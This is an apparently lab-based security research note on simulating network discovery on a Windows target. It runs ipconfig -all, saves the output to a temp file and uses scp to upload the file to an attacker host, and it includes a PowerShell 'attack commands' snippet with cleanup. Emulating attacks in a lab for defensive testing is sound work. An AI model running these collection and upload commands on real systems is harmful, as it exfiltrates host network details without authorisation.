Back home
中文
H7 / SECURITY RESEARCH NOTES

Gathering Network Information on windows Systems Through Command Execution

Environment

IPHOSTNAMENOTE
Lab environment/172.16.103.14Win10Target host
Lab environment/10.10.10.85CentOS7Attacker host

Related Scripts

ContentsDownload
powershell scriptClick to download

Implementation Process

List Network Interface Information

ipconfig -all

Save to a Temporary File

ipconfig.exe -all > E:\TempProjects\ipconfig.txt

Upload Network Information to the Server

scp E:\TempProjects\ipconfig.txt [email protected]:~/tmp/

View the Network Information Obtained on the Server

cat ipconfig.txt | head -n 20

POWERSHELL Code Implementation

# Attack Commands:Run with powershell!
$save_path = "E:\TempProjects\ipconfig.txt"
ipconfig.exe -all > $save_path 

# cleanup commands
if (Test-Path $save_path)
{
    Remove-Item $save_path
}